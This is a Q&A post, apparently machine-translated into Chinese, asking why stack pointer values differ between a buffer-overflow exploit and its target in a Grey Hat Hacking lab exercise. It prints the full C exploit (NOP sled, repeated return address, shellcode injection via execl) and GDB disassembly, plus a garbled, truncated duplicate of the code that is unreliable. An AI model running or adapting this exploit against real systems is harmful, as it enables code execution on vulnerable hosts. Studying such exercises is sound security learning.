C 用ESP计算溢出返回地址

C 用ESP计算溢出返回地址,c,gdb,buffer-overflow,C,Gdb,Buffer Overflow,我遵循Grey Hat Hacking中的缓冲区溢出示例,已经成功地执行了外壳代码,并使用下面的漏洞攻击程序打开了一个外壳,但是由于初始ESP值的差异,我无法在不首先猜测缓冲区偏移量的情况下运行它 这是针对任何本地易受攻击的缓冲区的攻击程序(删除了一些行): unsigned long get_sp(void){ __asm__("movl %esp, %eax"); } int main(int argc, char *argv[1]) { int i, offset = 0

我遵循Grey Hat Hacking中的缓冲区溢出示例,已经成功地执行了外壳代码,并使用下面的漏洞攻击程序打开了一个外壳,但是由于初始ESP值的差异,我无法在不首先猜测缓冲区偏移量的情况下运行它

这是针对任何本地易受攻击的缓冲区的攻击程序(删除了一些行):

unsigned long get_sp(void){
    __asm__("movl %esp, %eax");
}

int main(int argc, char *argv[1]) {
    int i, offset = 0;
    unsigned int esp, ret, *addr_ptr;
    char *buffer, *ptr;
    int size = 500;
    esp = get_sp();
    if(argc > 1) size = atoi(argv[1]);
    if(argc > 2) offset = atoi(argv[2]);
    if(argc > 3) esp = strtoul(argv[3],NULL,0);
    ret = esp - offset;
    buffer = (char *)malloc(size);
    ptr = buffer;
    addr_ptr = (unsigned int *) ptr;
    for(i=0; i < size; i+=4){
        *(addr_ptr++) = ret;
    }
    for(i=0; i < size/2; i++){
        buffer[i] = '\x90';
    }
    ptr = buffer + size/2;
    for(i=0; i < strlen(shellcode); i++){
        *(ptr++) = shellcode[i];
    }
    buffer[size-1]=0;
    execl("./meet", "meet", "Mr.",buffer,0);
    free(buffer);
    return 0;
}
unsigned long get_sp(void){
__asm_uuuuuuuuuuuuuuuuu(“移动百分比esp,%eax”);
}
int main(int argc,char*argv[1]){
int i,偏移量=0;
无符号整数esp、ret、*addr_ptr;
字符*缓冲区,*ptr;
int size=500;
esp=获取_sp();
如果(argc>1)size=atoi(argv[1]);
如果(argc>2)偏移量=atoi(argv[2]);
如果(argc>3)esp=strtoul(argv[3],NULL,0);
ret=esp-偏移量;
缓冲区=(字符*)malloc(大小);
ptr=缓冲区;
addr_ptr=(无符号整数*)ptr;
对于(i=0;i
此攻击依赖于攻击程序的初始ESP与易受攻击应用程序的ESP相同(或不远)。然而,在我的测试中,我无法复制这一点,而且我利用的ESP总是离易受攻击的应用程序ESP太远,无法进行可靠的返回地址计算,即使在使用NOP底座时也是如此。我想解决这个问题的方法不仅是计算缓冲区大小和从易受攻击的应用程序ESP到缓冲区的偏移量,而且还要计算攻击初始ESP和易受攻击的程序初始ESP之间的偏移量,但我希望我只是犯了一个错误

在main()的最开始,我的漏洞中的ESP的初始值是0xffffdbc0。 但是,我的缓冲区程序中main()最开始的ESP是0xffffdba8。 我在两个程序的main()的第一行使用GDB中的断点来查找ESP,而不是内联汇编函数,以避免在堆栈上推送任何额外的内容

我还为两者提供了相同的命令行参数(0,0),以缩小可能的原因。所有内容都是在x64 Linux上编译的,在32位中禁用了ASLR、无堆栈保护器和execstack

还有什么会影响初始ESP值

(可能有关联,但我似乎有相反的问题。)

EDIT:我发现程序名的长度不同,我想这会影响ESP的值,因为程序名通过argv[]传递给main()函数。是时候在GDB中检查这个了…

我找到了答案

我的断点位于第1行:

1 int main(int argc,char *argv[]) {
2     unsigned int sp = get_sp();
3     int size = atoi(argv[1]); 
我的理由是,如果我在我的漏洞和缓冲区程序中都放置了一个断点,我就能够在堆栈上放置任何东西之前获取ESP,并计算出它们之间的差异。但我没想到GDB会为函数调用分配内存

让我们看一下装配:

(gdb) disas main
Dump of assembler code for function main:
   0x08048582 <+0>: push   %ebp
   0x08048583 <+1>: mov    %esp,%ebp
   0x08048585 <+3>: push   %ebx
   0x08048586 <+4>: sub    $0x1c,%esp
=> 0x08048589 <+7>: call   0x804857b <get_sp>
(gdb)disas main
主功能的汇编程序代码转储:
0x08048582:推送%ebp
0x08048583:mov%esp,%ebp
0x08048585:推送%ebx
0x08048586:子$0x1c,%esp
=>0x08048589:调用0x804857b
与我的缓冲区程序不同,这里的main()以函数调用开始。断点在这之前,函数不会被调用,但是在堆栈上分配了空间,在我的例子中,在排除所有其他因素后,导致ESP之间存在32位的差异

因此,如果已知局部变量和命令行参数,ESP实际上可以可靠地计算